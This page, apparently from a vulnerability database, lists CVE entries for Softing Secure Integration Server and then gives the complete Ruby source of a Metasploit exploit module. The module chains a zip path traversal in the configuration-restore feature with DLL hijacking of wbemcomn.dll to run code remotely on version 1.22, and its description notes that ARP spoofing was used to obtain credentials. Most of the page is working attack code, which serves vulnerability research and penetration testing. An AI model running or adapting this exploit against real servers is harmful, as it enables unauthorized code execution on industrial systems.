| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Softing Secure Integration Server 1.22 Remote Code Execution Exploit | 22 Jul 202400:00 | – | zdt | |
| CVE-2022-1373 | 18 Aug 202200:40 | – | circl | |
| CVE-2022-2334 | 18 Aug 202200:40 | – | circl | |
| Softing Secure Integration Server 代码问题漏洞 | 21 Feb 202200:00 | – | cnnvd | |
| Softing Secure Integration Server 路径遍历漏洞 | 16 Aug 202200:00 | – | cnnvd | |
| CVE-2022-1373 | 17 Aug 202220:10 | – | cve | |
| CVE-2022-2334 | 17 Aug 202220:11 | – | cve | |
| CVE-2022-1373 Softing Secure Integration Server Relative Path Traversal | 17 Aug 202220:10 | – | cvelist | |
| CVE-2022-2334 Softing Secure Integration Server Uncontrolled Search Path Element | 17 Aug 202220:11 | – | cvelist | |
| Softing Secure Integration Server | 16 Aug 202200:00 | – | ics |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zip'
require 'metasploit/framework/login_scanner/softing_sis'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Softing Secure Integration Server v1.22 Remote Code Execution',
'Description' => %q{
This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.
In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk.
In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.
The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.
A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Anastasio (muffin) of Incite Team', # discovery
'Steven Seeley (mr_me) of Incite Team', # discovery
'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>', # msf module
],
'References' => [
['CVE', '2022-1373'],
['CVE', '2022-2334'],
['ZDI', '22-1154'],
['ZDI', '22-1156'],
['URL', 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html'],
['URL', 'https://ide0x90.github.io/softing-sis-122-rce/']
],
'DefaultOptions' => {
'RPORT' => 8099,
'SSL' => false,
'EXITFUNC' => 'thread',
'WfsDelay' => 300
},
'Platform' => 'win',
# the software itself only supports x64, see
# https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html
'Arch' => [ARCH_X64],
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-07-27',
'Privileged' => true,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('SIGNATURE', [false, 'Use a username/signature pair instead of username/password pair to authenticate']),
OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),
OptString.new('PASSWORD', [false, 'The password to specify for authentication', 'admin']),
OptString.new('DLLPATH', [false, 'Custom compiled DLL to use'])
]
)
self.needs_cleanup = true
end
# this will be updated with the signature from "check"
@signature = nil
# create a checker instance to reuse code from the Softing SIS login bruteforce module
def checker_instance
Metasploit::Framework::LoginScanner::SoftingSIS.new(
configure_http_login_scanner(
host: datastore['RHOSTS'],
port: datastore['RPORT'],
connection_timeout: 5
)
).dup
end
# check if the generated/provided signature is valid for the specified user
def signature_check(user, signature)
send_request_cgi({
'method' => 'GET',
'uri' => "/runtime/core/user/#{user}/authentication",
'vars_get' => {
'User' => user,
'Signature' => signature
}
})
end
def check
# check the Softing SIS version
softing_version_res = checker_instance.check_setup
unless softing_version_res
return CheckCode::Unknown
end
softing_version = Rex::Version.new(softing_version_res)
print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}")
# the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory
# so we will not continue if the version is not vulnerable
unless softing_version < Rex::Version.new('1.30')
return CheckCode::Safe
end
# if the operator provides a signature, then use that instead of the username and password
if datastore['SIGNATURE']
print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...")
# send a GET request to /runtime/core/user/<username>/authentication
signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE'])
# if we cannot connect at this point, we only know that the version is < 1.30
# the system "appears" to be vulnerable
unless signature_check_res
print_error("#{peer} - Connection failed!")
end
# if the signature is correct, 200 OK is returned
if signature_check_res.code == 200
print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore['USERNAME']}")
@signature = datastore['SIGNATURE']
else
print_error("#{peer} - Signature #{datastore['SIGNATURE']} is invalid for user #{datastore['USERNAME']}!")
end
# login with username and password
else
# get the authentication token
auth_token = checker_instance.get_auth_token(datastore['USERNAME'])
# generate the signature
@signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD'])
# check the generated signatures' validity
signature_check_res = signature_check(datastore['USERNAME'], @signature)
# if we cannot connect, then the system "appears" to be vulnerable
unless signature_check_res
print_error("#{peer} - Connection failed!")
end
# if the signature is correct, 200 OK is returned
if signature_check_res.code == 200
print_good("#{peer} - Valid credentials provided")
else
print_error("#{peer} - Invalid credentials!")
end
end
# if the version is less than 1.30 it's supposedly vulnerable
# but there is no way to confirm vulnerability existence without actually exploiting
# so instead of "Vulnerable", return "Appears"
CheckCode::Appears
end
def exploit
# did the operator specify a custom DLL? If not...
if datastore['DLLPATH']
# otherwise, just use their provided DLL and assume they compiled everything correctly
# there is no way to check if it's compiled correctly anyway
dll_path = datastore['DLLPATH']
else
# have MSF create the malicious DLL
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')
datastore['EXE::Path'] = path
datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')
print_status('Generating payload DLL...')
dll = generate_payload_dll
dll_name = 'wbemcomn.dll'
dll_path = store_file(dll, dll_name)
print_status("Created #{dll_path}")
end
# backup the Softing SIS configuration
print_status("#{peer} - Saving configuration...")
get_config_zip_res = send_request_cgi({
'method' => 'GET',
'uri' => '/runtime/core/config-download',
'vars_get' => {
'User' => datastore['USERNAME'],
'Signature' => @signature
}
})
# end if we cannot get the configuration for some reason
unless get_config_zip_res
fail_with Failure::Unreachable, "#{peer} - Could not obtain configuration"
end
# status code 200 is the expected response to getting the configuration ZIP
unless get_config_zip_res.code == 200
# for verbosity, save the JSON response
get_config_zip_res_json = get_config_zip_res.get_json_document
vprint_error("#{peer} - #{get_config_zip_res_json}")
fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{get_config_zip_res.code}, could not obtain configuration"
end
# if successful, the body cnotains the configuration ZIP
config_zip = get_config_zip_res.body
# config_download.zip is the name of the configuration ZIP when downloading from the browser
# append a hash based on the peer address to prevent overwriting the config file if there are multiple targets
config_zip_name = "config_download_#{Digest::MD5.hexdigest(peer)}.zip"
# store the config zip file
config_zip_path = store_file(config_zip, config_zip_name)
print_status("Saved configuration to #{config_zip_path}")
# insert the malicious DLL
Zip::File.open(config_zip_path, Zip::File::CREATE) do |zipfile|
zipfile.add('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll', dll_path)
end
# restore the configuration
restore_config_res = send_request_cgi({
'method' => 'PUT',
'uri' => '/runtime/core/config-restore',
'cookie' => "systemLang=en-US; lang=en; User=#{datastore['USERNAME']}; Signature=#{@signature}",
'vars_get' => {
'User' => datastore['USERNAME'],
'Signature' => @signature
},
'data' => File.read(config_zip_path)
})
# no response
unless restore_config_res
fail_with Failure::Unreachable, "#{peer} - Could not restore configuration!"
end
# bad response
unless restore_config_res.code == 200
# for verbosity, show the JSON response
restore_config_res_json = restore_config_res.get_json_document
vprint_error("#{peer} - #{restore_config_res_json}")
fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"
end
end
# clean up the planted DLL if the session is meterpreter
def on_new_session(session)
super
unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')
# if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')
end
end
# Store the file in the MSF local directory (/root/.msf4/local/) so it can be used when creating the ZIP file
# literal copypasta from exploits/windows/fileformat/cve_2017_8464_lnk_rce
def store_file(data, filename)
if !::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
if filename && !filename.empty?
fname, ext = filename.split('.')
else
fname = "local_#{Time.now.utc.to_i}"
end
fname = ::File.split(fname).last
fname.gsub!(/[^a-z0-9._-]+/i, '')
fname << ".#{ext}"
path = File.join("#{Msf::Config.local_directory}/", fname)
full_path = ::File.expand_path(path)
File.open(full_path, 'wb') { |fd| fd.write(data) }
full_path.dup
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation